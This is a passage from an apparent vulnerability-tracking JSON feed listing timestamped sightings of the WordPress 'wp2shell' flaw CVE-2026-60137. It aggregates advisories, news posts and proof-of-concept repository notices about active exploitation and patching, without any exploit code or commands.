"~Cybergcca~\nCanadian Cyber Centre flags 5 advisories; Microsoft and WordPress CVEs actively exploited in the wild.\n-\nIOCs: CVE-2026-56164, CVE-2026-60137, CVE-2026-63030\n-\n#PatchNow #ThreatIntel #Vulnerability", "url": "https://bsky.app/profile/cyfar.ca/post/3mr66vm42l224"}, {"timestamp": "2026-07-21T16:15:09.496Z", "date_only": false, "value": "2026-07-21T16:15:09.496631Z", "kind": "sighting", "label": "Seen", "source": "https://www.cisa.gov/news-events/alerts/2026/07/21/cisa-adds-four-known-exploited-vulnerabilities-catalog", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "526a4ba7-7105-4c74-a8a9-1421f929952e", "url": "https://www.cisa.gov/news-events/alerts/2026/07/21/cisa-adds-four-known-exploited-vulnerabilities-catalog"}, {"timestamp": "2026-07-21T16:42:10.607Z", "date_only": false, "value": "2026-07-21T16:42:10.607292Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/bleepingcomputer.com/post/3mr6au5yxu62o", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "9481062b-2821-443e-b72f-868561312713", "content": "Hackers are exploiting the \"wp2shell\" critical vulnerability suite (CVE-2026-63030 and CVE-2026-60137) affecting WordPress Core to deploy persistent webshells and install malicious plugins on affected servers.", "url": "https://bsky.app/profile/bleepingcomputer.com/post/3mr6au5yxu62o"}, {"timestamp": "2026-07-21T18:38:35.257Z", "date_only": false, "value": "2026-07-21T18:38:35.257756Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mr6heczzyx2z", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "0e849470-28d0-4bb5-8081-cc5159d9de5d", "content": "\ud83e\udd16 CVE-2026-63030 & CVE-2026-60137 (Critical): wp2shell WordPress flaws exploited in the wild to deploy persistent webshells. Unauthenticated RCE on affected sites.\nhttps://www.bleepingcomputer.com/news/security/critical-wp2shell-wordpress-flaws-exploited-to-install-webshells/", "url": "https://bsky.app/profile/newssecia.bsky.social/post/3mr6heczzyx2z"}, {"timestamp": "2026-07-21T19:45:05.524Z", "date_only": false, "value": "2026-07-21T19:45:05.524242Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mr6l3ancmz2o", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "edc5eb35-120a-48c6-80a7-3d938fbe58ae", "content": "WordPress Core\u306ewp2shell\u8106\u5f31\u6027\uff08CVE-2026-63030, CVE-2026-60137\uff09\u304c\u60aa\u7528\u3055\u308c\u3001webshell\u8a2d\u7f6e\u3084\u60aa\u6027\u30d7\u30e9\u30b0\u30a4\u30f3\u5c0e\u5165\u306e\u88ab\u5bb3\u304c\u51fa\u3066\u3044\u307e\u3059\u3002", "url": "https://bsky.app/profile/postac001.bsky.social/post/3mr6l3ancmz2o"}, {"timestamp": "2026-07-21T20:00:16.493Z", "date_only": false, "value": "2026-07-21T20:00:16.493135Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3mr6lwfdja42j", "record": "cve-2026-60137", "field": "creation_timestamp", "uuid": "5b6fe1f6-2a31-47ef-ba2f-c1039197162f", "content": "\ud83d\udce2 wp2shell : analyse technique approfondie des CVE-2026-63030 et CVE-2026-60137 dans WordPress\n\ud83d\udcdd ## \ud83d\udd0d Contexte\n\nPubli\u00e9 le 18 juillet 2026 \u2026\nhttps://cyberveille.ch/posts/2026-07-21-wp2shell-analyse-technique-approfondie-des-cve-2026-63030-et-cve-2026-60137-dans-wordpress/ #CVE_2026_60137 #Cyberveille", "url": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3mr6lwfdja42j"}, {"timestamp": "2026-07-21T21:01:08.227Z", "date_only": false, "value": "2026-07-21T21:01:08.227267Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/feilong76.bsky.social/post/3mr6pd4ugj227", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "8bd0902e-b1a3-4446-af19-934b42b7b971", "content": "\u201cWordPress Core\u306e\u8106\u5f31\u6027 CVE-2026-63030 / CVE-2026-60137 (\u901a\u79f0\u300cwp2shell\u300d)\u306b\u3064\u3044\u3066\u307e\u3068\u3081\u3066\u307f\u305f - piyolog\u201d htn.to/47Wdhse2Tg", "url": "https://bsky.app/profile/feilong76.bsky.social/post/3mr6pd4ugj227"}, {"timestamp": "2026-07-21T22:14:12.046Z", "date_only": false, "value": "2026-07-21T22:14:12.046272Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/qubblelabs.com/post/3mr6tfukeb22g", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "01f65317-14e6-44c2-a714-b26a8af8c05a", "content": "Three days. Millions of WordPress sites. Two CVEs chained for RCE via plugin upload. DarkReading confirms active exploitation of CVE-2026-60137 + CVE-2026-63030.\n\nThe structural rot: WordPress has zero code-signing requirement for plugins.", "url": "https://bsky.app/profile/qubblelabs.com/post/3mr6tfukeb22g"}, {"timestamp": "2026-07-21T22:30:16.115Z", "date_only": false, "value": "2026-07-21T22:30:16.115307Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3mr6ucljy7y2q", "record": "cve-2026-60137", "field": "creation_timestamp", "uuid": "b224da69-c9cf-464b-8697-4ecb81467e95", "content": "\ud83d\udce2 Exploitation active de wp2shell : RCE pr\u00e9-auth critique dans WordPress Core (CVE-2026-63030 & CVE-2026-60137)\n\ud83d\udcdd \u2026\nhttps://cyberveille.ch/posts/2026-07-21-exploitation-active-de-wp2shell-rce-pre-auth-critique-dans-wordpress-core-cve-2026-63030-cve-2026-60137/ #CMSmap__malicious_variant_ #Cyberveil\u2026", "url": "https://bsky.app/profile/cyberveille-ch.bsky.social/post/3mr6ucljy7y2q"}, {"timestamp": "2026-07-22T00:00:00Z", "date_only": false, "value": "2026-07-22T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_alerte \u00b7 CERTFR-2026-ALE-007", "record": "CERTFR-2026-ALE-007", "field": "revisions.1.revision_date"}, {"timestamp": "2026-07-22T00:00:07.225Z", "date_only": false, "value": "2026-07-22T00:00:07.225822Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/FAhkP69mP1IwQSaxAcFWZvu6CnSkNPg4O9iKi7h8BG1-uIM", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "7bfeb6c7-4dfe-4f7b-984b-bd32cb028c42"}, {"timestamp": "2026-07-22T00:00:07.355Z", "date_only": false, "value": "2026-07-22T00:00:07.355889Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/c_Rzplsy8E2pteouDdziBYUOz2Zf4p3Unq7ANnF9Z7n20HM", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "cb68e601-107c-4cae-a547-2d8838a4ee26"}, {"timestamp": "2026-07-22T00:00:07.390Z", "date_only": false, "value": "2026-07-22T00:00:07.390823Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/uumWHaZ1gN7bAvwXVT7WzY5HoAqs0x1gXuRvU8DEoe0NnjY", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "bfd8373f-2e94-4ed1-91a7-a22f3df4b347"}, {"timestamp": "2026-07-22T00:00:07.670Z", "date_only": false, "value": "2026-07-22T00:00:07.670450Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/WNPKjULv0ephKNyiWQmiLebMVhKs5Yq19I9tIqi1CZzDTIM", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "231efef4-9e8f-426f-8897-8e83a2580ecb"}, {"timestamp": "2026-07-22T00:00:07.729Z", "date_only": false, "value": "2026-07-22T00:00:07.729903Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/VNcCH5gAWr1JFL68o0sjgfBXXg-hp68b6HfdKkREhSwhrzw", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "446d637e-c3c8-457f-b298-13d960d41c6e"}, {"timestamp": "2026-07-22T00:00:07.787Z", "date_only": false, "value": "2026-07-22T00:00:07.787758Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/JKu8MzOeWEiDh6Wy6ZRFCp9pX-H-YlUWAgYEZsV0JVERmls", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "8e575c61-47bb-4f6d-8a94-49342c461d30"}, {"timestamp": "2026-07-22T00:00:07.898Z", "date_only": false, "value": "2026-07-22T00:00:07.898428Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/w6l8BPd9Q3GJFkZvi7YAaS3nfqUL8sbBpYE2TLByxwgM4Fc", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "77f43828-d5d4-42e8-b22a-154a0fc0f85d"}, {"timestamp": "2026-07-22T00:00:07.996Z", "date_only": false, "value": "2026-07-22T00:00:07.996814Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/NvyRAPdfWiHuFnDgCWisEYzfqycyb2H27n16VkLUJ0UfwkQ", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "d0922817-2082-4b3a-ad96-401f0cee64d1"}, {"timestamp": "2026-07-22T00:00:21.340Z", "date_only": false, "value": "2026-07-22T00:00:21.340456Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/94345", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "ef681720-dafd-4df9-85c6-57c25367be2f", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-Wordpress-TOWN\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a lucifer0xf\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-20 16:28:28\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nUnauthenticated Remote Code Execution (RCE) in WordPress Core allows attackers to execute arbitrary code without logging in by chaining CVE-2026-63030 and CVE-2026-60137, potentially leading to full site compromise.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94345"}, {"timestamp": "2026-07-22T03:40:07.567Z", "date_only": false, "value": "2026-07-22T03:40:07.567952Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/crawler.baldanders.info/post/3mr7fmo5iqh2s", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "c98441a8-a34d-4d99-abd8-0ce8a326b18d", "content": "\uff1e WordPress\u306e\u8106\u5f31\u6027\u5bfe\u7b56\u306b\u3064\u3044\u3066(CVE-2026-60137\u3001CVE-2026-63030\uff1awp2shell)\nhttps://www.ipa.go.jp/security/security-alert/2026/alert20260722.html\n", "url": "https://bsky.app/profile/crawler.baldanders.info/post/3mr7fmo5iqh2s"}, {"timestamp": "2026-07-22T03:55:47.898Z", "date_only": false, "value": "2026-07-22T03:55:47.898130Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2026-60137", "field": "containers.adp.0.metrics.0.other.content.timestamp"}, {"timestamp": "2026-07-22T03:55:47.898Z", "date_only": false, "value": "2026-07-22T03:55:47.898130Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2026-60137", "record": "FKIE_CVE-2026-60137", "field": "metrics.ssvcV203.0.ssvcData.timestamp"}, {"timestamp": "2026-07-22T04:50:34.031Z", "date_only": false, "value": "2026-07-22T04:50:34.031259Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mr7jkmsapj2n", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "0b7ff8b3-5543-4859-964d-c38e05e99858", "content": "Top 3 CVE for last 7 days:\nCVE-2026-63030: 68 interactions\nCVE-2026-60137: 54 interactions\nCVE-2026-58532: 47 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-50522: 10 interactions\nCVE-2026-0257: 6 interactions\nCVE-2026-6875: 5 interactions\n", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3mr7jkmsapj2n"}, {"timestamp": "2026-07-22T04:51:49.167Z", "date_only": false, "value": "2026-07-22T04:51:49.167449Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/seeck.jp/post/3mr7jmtloo22k", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "58fd9ad7-29fc-4e32-a16a-5a538fc32a94", "content": "WordPress\u306e\u8106\u5f31\u6027\u5bfe\u7b56\u306b\u3064\u3044\u3066(CVE-2026-60137\u3001CVE-2026-63030\uff1awp2shell) | \u60c5\u5831\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3 | IPA \u72ec\u7acb\u884c\u653f\u6cd5\u4eba \u60c5\u5831\u51e6\u7406\u63a8\u9032\u6a5f\u69cb www.ipa.go.jp/security/sec...", "url": "https://bsky.app/profile/seeck.jp/post/3mr7jmtloo22k"}, {"timestamp": "2026-07-22T06:59:57.458Z", "date_only": false, "value": "2026-07-22T06:59:57.458508Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hasegawa.bsky.social/post/3mr7qrymwvc2d", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "60828188-b174-4526-afef-51ad49b1ee9a", "content": "\uff08\u4ed5\u4e8b\uff09 \u300cScutum\u3067\u306f\u30012026\u5e747\u670819\u65e5\u6642\u70b9\u3067\u3001\u672c\u8106\u5f31\u6027\u306b\u5bfe\u3059\u308b\u9632\u5fa1\u5bfe\u5fdc\u3092\u884c\u3044\u3001\u9632\u5fa1\u3067\u304d\u308b\u72b6\u614b\u306b\u66f4\u65b0\u3057\u3066\u304a\u308a\u307e\u3059\u3002\u300d  / WordPress Core\u306e\u8106\u5f31\u6027\u300cwp2shell\u300d\uff08CVE-2026-63030\u3001CVE-2026-60137\uff09\u306b\u3064\u3044\u3066 - Scutum\u304a\u5ba2\u69d8\u30b5\u30dd\u30fc\u30c8\u30b5\u30a4\u30c8\uff08\u672c\u756a\uff09 support.scutum.jp/2026/07/wp2s...", "url": "https://bsky.app/profile/hasegawa.bsky.social/post/3mr7qrymwvc2d"}, {"timestamp": "2026-07-22T07:45:37.807Z", "date_only": false, "value": "2026-07-22T07:45:37.807124Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mr7td726bst3", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "45a5e256-f2f2-4a82-a6ba-e2c0d175d114", "content": "WordPress\u306e\u8106\u5f31\u6027\u5bfe\u7b56\u306b\u3064\u3044\u3066(CVE-2026-60137\u3001CVE-2026-63030\uff1awp2shell) | \u60c5\u5831\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3 | IPA \u72ec\u7acb\u884c\u653f\u6cd5\u4eba \u60c5\u5831\u51e6\u7406\u63a8\u9032\u6a5f\u69cb https://www.ipa.go.jp/security/security-alert/2026/alert20260722.html", "url": "https://bsky.app/profile/shiojiri.com/post/3mr7td726bst3"}, {"timestamp": "2026-07-22T09:28:26.567Z", "date_only": false, "value": "2026-07-22T09:28:26.567923Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3mr7z3iwfpx2v", "record": "cve-2026-60137", "field": "creation_timestamp", "uuid": "481163af-b3bb-4f72-bb5c-bba3cff6e5e3", "content": "\ud83d\udcf0 Celah Kritis Wp2Shell WordPress Dieksploitasi untuk Pasang Webshell\n\n\ud83d\udc49 Baca artikel lengkap di sini: https://ahmandonk.com/2026/07/22/wp2shell-wordpress-dieksploitasi-pasang-webshell/\n\n#cve-2026-60137 #cve-2026-63030 #cybersecurity #keamananSiber #rce #vulnerability #webshell #wordpress #wor", "url": "https://bsky.app/profile/ahmandonk.bsky.social/post/3mr7z3iwfpx2v"}, {"timestamp": "2026-07-22T12:05:05.294Z", "date_only": false, "value": "2026-07-22T12:05:05.294238Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mrabtksxen2n", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "8933dfa4-c3ae-4055-bd42-dcbead5f6b03", "content": "CISA warns of active exploitation of WordPress Core vulnerabilities CVE-2026-63030 and CVE-2026-60137; update to latest versions now. #WordPress #Security #CISA #Vulnerabilities thedailytechfeed.com/cisa-alerts-...", "url": "https://bsky.app/profile/thedailytechfeed.com/post/3mrabtksxen2n"}, {"timestamp": "2026-07-22T13:50:00.904Z", "date_only": false, "value": "2026-07-22T13:50:00.904979Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/thecybermind.co/post/3mrahp7spu322", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "2a7e463c-b34f-4d4e-b445-df238892c555", "content": "\u26a0\ufe0f THREAT ALERT: CVE-2026-60137 in WordPress Core enables unauthenticated SQL injection that chains for remote code execution! Active exploitation is confirmed. Get the forensic detection queries and hardening strategies you need to protect your web assets now.\u2026", "url": "https://bsky.app/profile/thecybermind.co/post/3mrahp7spu322"}, {"timestamp": "2026-07-22T15:00:04.559Z", "date_only": false, "value": "2026-07-22T15:00:04.559045Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/BleepingComputer/25158", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "e23b5574-8f9c-4b7b-9039-f9e1283b6636", "content": "\u200aCritical wp2shell WordPress flaws exploited to install webshells\n\nHackers are exploiting the \"wp2shell\" critical vulnerability suite (CVE-2026-63030 and CVE-2026-60137) affecting WordPress Core to deploy persistent webshells and install malicious plugins on affected servers. [...]\n\nhttps://www.bleepingcomputer.com/news/security/critical-wp2shell-wordpress-flaws-exploited-to-install-webshells/", "url": "https://t.me/BleepingComputer/25158"}, {"timestamp": "2026-07-22T15:07:53.137Z", "date_only": false, "value": "2026-07-22T15:07:53.137801Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/raplsworks.bsky.social/post/3mram2hmczk2c", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "3412fbac-d32f-4d2f-8ef8-c9e44dcd2496", "content": "WordPress Core\u306e\u300cWP2Shell\u300d(CVE-2026-63030 / CVE-2026-60137)\u3001\u672a\u8a8d\u8a3cRCE\u3068\u3044\u3046\u306a\u304b\u306a\u304b\u306e\u3084\u3064\u3067\u3072\u3084\u3063\u3068\u3057\u305f\u3002\u62c5\u5f53\u30b5\u30a4\u30c8\u3092\u4e00\u901a\u308a\u898b\u3066\u56de\u3063\u3066\u78ba\u8a8d\u5b8c\u4e86\u3002\n\n\u4fee\u6b63\u7248\u306f 6.9.5 / 7.0.2\u3002\u81ea\u52d5\u66f4\u65b0\u4efb\u305b\u306b\u305b\u305a\u3001\u8a72\u5f53\u30d0\u30fc\u30b8\u30e7\u30f3\u306a\u3089\u5b9f\u969b\u306b\u5f53\u305f\u3063\u3066\u308b\u304b\u78ba\u8a8d\u3057\u3066\u304a\u304d\u305f\u3044\u3068\u3053\u308d\u3002\n\n#WordPress #\u8106\u5f31\u6027", "url": "https://bsky.app/profile/raplsworks.bsky.social/post/3mram2hmczk2c"}, {"timestamp": "2026-07-22T15:19:15.241Z", "date_only": false, "value": "2026-07-22T15:19:15.241209Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/greynoise/statuses/116964298203115730", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "e58a33eb-9244-4e17-8225-2706cc0f8a5d", "content": "This week in GreyNoise data, rented crawlers probed for credentials and configuration secrets across widely deployed web software.\nA matched pair of crawlers sharing one client fingerprint probed NGINX UI (CVE-2026-27944) and LiteSpeed Cache (CVE-2024-44000), two CVSS 9.8 flaws that leak credentials, private keys, or session material, from two different hosting providers. \nAlongside them, an RDP brute force cohort spread across three networks under one transport fingerprint. WordPress core SQL injection CVE-2026-60137 also entered the CISA KEV catalog this week. The rented hosts rotate; the fingerprints persist.\nCustomers get the full weekly brief. Our public At The Edge one-pager \ud83d\udc49https://www.greynoise.io/resources/at-the-edge-clear-072026", "url": "https://infosec.exchange/users/greynoise/statuses/116964298203115730"}, {"timestamp": "2026-07-22T16:49:32.173Z", "date_only": false, "value": "2026-07-22T16:49:32.173211Z", "kind": "sighting", "label": "Seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/116964653150323533", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "2115ba1b-374b-4a9a-bd0c-52d55fa1d587", "content": "\ud83d\udcf0 CISA Adds Four Actively Exploited Flaws in DD-WRT, Langflow, WordPress\nCISA adds 4 actively exploited vulnerabilities to its KEV catalog: CVE-2021-27137 (DD-WRT), CVE-2026-0770 (Langflow), and CVE-2026-63030 & CVE-2026-60137 (WordPress). Patching is urgent. #CISA #KEV #Vulnerability #PatchNow #WordPress\n\ud83c\udf10 cyber[.]netsecops[.]io\n\ud83d\udd17 https://cyber.netsecops.io/articles/cisa-adds-four-actively-exploited-vulnerabilities-in-dd-wrt-langflow-wordpress-to-kev-catalog/?utm_s\u2026", "url": "https://mastodon.social/ap/users/115426718704364579/statuses/116964653150323533"}, {"timestamp": "2026-07-22T16:49:59.805Z", "date_only": false, "value": "2026-07-22T16:49:59.805480Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3mrarr25fd22q", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "d46a84b5-088c-4c44-b8b9-5805725139e5", "content": "CISA adds 4 actively exploited vulnerabilities to its KEV catalog: CVE-2021-27137 (DD-WRT), CVE-2026-0770 (Langflow), and CVE-2026-63030 & CVE-2026-60137 (WordPress). Patching is urgent. #CISA #KEV #Vulnerability #PatchNow #WordPress\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "url": "https://bsky.app/profile/netsecio.bsky.social/post/3mrarr25fd22q"}, {"timestamp": "2026-07-22T17:00:04.014Z", "date_only": false, "value": "2026-07-22T17:00:04.014612Z", "kind": "sighting", "label": "Seen", "source": "Telegram/tTAffE3ecNhvRTBphw7K5bpufit0HCKjFX6WbbNQmiqRs00", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "5148e41a-d80e-4897-b3b9-acb2633a93bd"}, {"timestamp": "2026-07-22T17:00:04.872Z", "date_only": false, "value": "2026-07-22T17:00:04.872399Z", "kind": "sighting", "label": "Seen", "source": "Telegram/WRVd5yOWBdxKpqesnEO3eRKAwr-Rlmtkgf90pSpwV55ICCw", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "3d8deaca-9d82-4d73-86ac-5fe17b89ed49"}, {"timestamp": "2026-07-22T17:00:05.001Z", "date_only": false, "value": "2026-07-22T17:00:05.001852Z", "kind": "sighting", "label": "Seen", "source": "Telegram/7mI1XR-YBo8-oaXN9qxsH1n50-oEMIH7yLn9iwYoK3prrhI", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "b7681997-7373-4305-8e0f-991b9ed7a2b0"}, {"timestamp": "2026-07-22T17:00:06.233Z", "date_only": false, "value": "2026-07-22T17:00:06.233219Z", "kind": "sighting", "label": "Seen", "source": "Telegram/B_YZ8BSkX5tqDJQpjrZq--1jgIV2vuNjSoj1tdR21kZx6jI", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "2715b9c9-d01f-4f5d-bc43-2c1e314b95f6"}, {"timestamp": "2026-07-22T17:09:58.584Z", "date_only": false, "value": "2026-07-22T17:09:58.584965Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mrasurlpkk2a", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "34b4cec6-cafe-497d-9b8f-d72cfc891cf0", "content": "Critical wp2shell WordPress flaws exploited to install webshells\n\nHackers are exploiting the \"wp2shell\" critical vulnerability suite (CVE-2026-63030 and CVE-2026-60137) affecting WordPress Core to deploy persistent webshells and install malicious plugins on affected servers. [...]\n#hackernews #news", "url": "https://bsky.app/profile/hacker.at.thenote.app/post/3mrasurlpkk2a"}, {"timestamp": "2026-07-22T20:04:52.005Z", "date_only": false, "value": "2026-07-22T20:04:52.005857Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cyfar.ca/post/3mrb4nj6z322o", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "e2245663-b366-4529-b097-7c7a8ca2737d", "content": "@elastic.co\nwp2shell exploits a REST batch endpoint route confusion in WordPress Core enabling unauthenticated remote code execution via SQL injection and webshell deployment.\n-\nIOCs: CVE-2026-63030, CVE-2026-60137, wp2shell\n-\n...", "url": "https://bsky.app/profile/cyfar.ca/post/3mrb4nj6z322o"}, {"timestamp": "2026-07-22T22:00:03.758Z", "date_only": false, "value": "2026-07-22T22:00:03.758836Z", "kind": "sighting", "label": "Seen", "source": "Telegram/oTCcthwftzUyvaLQLtY7FvG4NjMlnlzCmFsPRxIzpTLAzWg", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "aee4ac08-ba75-4477-b28a-f2aeecc4fc71"}, {"timestamp": "2026-07-23T00:00:04.809Z", "date_only": false, "value": "2026-07-23T00:00:04.809462Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/oTCcthwftzUyvaLQLtY7FvG4NjMlnlzCmFsPRxIzpTLAzWg", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "38e60475-c1b6-4a0b-8c4f-ccc488244519"}, {"timestamp": "2026-07-23T00:00:09.328Z", "date_only": false, "value": "2026-07-23T00:00:09.328516Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/7mI1XR-YBo8-oaXN9qxsH1n50-oEMIH7yLn9iwYoK3prrhI", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "4c2fe116-86b6-44db-9b0b-49db8a848d8d"}, {"timestamp": "2026-07-23T00:00:09.630Z", "date_only": false, "value": "2026-07-23T00:00:09.630340Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/WRVd5yOWBdxKpqesnEO3eRKAwr-Rlmtkgf90pSpwV55ICCw", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "d15daaf3-b59c-4e72-a45c-d74ca7d6b0c9"}, {"timestamp": "2026-07-23T00:00:10.341Z", "date_only": false, "value": "2026-07-23T00:00:10.341850Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/tTAffE3ecNhvRTBphw7K5bpufit0HCKjFX6WbbNQmiqRs00", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "9cd99e8a-e08a-4ebe-ade9-5e2cfe40b16d"}, {"timestamp": "2026-07-23T00:00:23.049Z", "date_only": false, "value": "2026-07-23T00:00:23.049512Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/BleepingComputer/25158", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "219ebb2f-0cdb-4baa-91e5-50ce934705bb", "content": "\u200aCritical wp2shell WordPress flaws exploited to install webshells\n\nHackers are exploiting the \"wp2shell\" critical vulnerability suite (CVE-2026-63030 and CVE-2026-60137) affecting WordPress Core to deploy persistent webshells and install malicious plugins on affected servers. [...]\n\nhttps://www.bleepingcomputer.com/news/security/critical-wp2shell-wordpress-flaws-exploited-to-install-webshells/", "url": "https://t.me/BleepingComputer/25158"}, {"timestamp": "2026-07-23T01:00:04.543Z", "date_only": false, "value": "2026-07-23T01:00:04.543514Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/B_YZ8BSkX5tqDJQpjrZq--1jgIV2vuNjSoj1tdR21kZx6jI", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "b9017556-1667-4aea-ac45-0ed10760a302"}, {"timestamp": "2026-07-23T04:00:05.583Z", "date_only": false, "value": "2026-07-23T04:00:05.583610Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/94648", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "9f303908-53ce-4345-b1d7-8a9c6238d77a", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-vulnerability-scanner\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Adrees-Basheer\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-22 12:34:49\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nScan WordPress installations for wp2shell vulnerabilities (CVE-2026-63030 + CVE-2026-60137). Identifies full RCE and SQL injection risks across multiple sites with severity classification and CSV reporting.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/94648"}, {"timestamp": "2026-07-23T04:00:05.851Z", "date_only": false, "value": "2026-07-23T04:00:05.851571Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/94678", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "f439fefe-af30-4def-86f8-4889b5482e72", "content": "\ud83d\udea8 GitHub 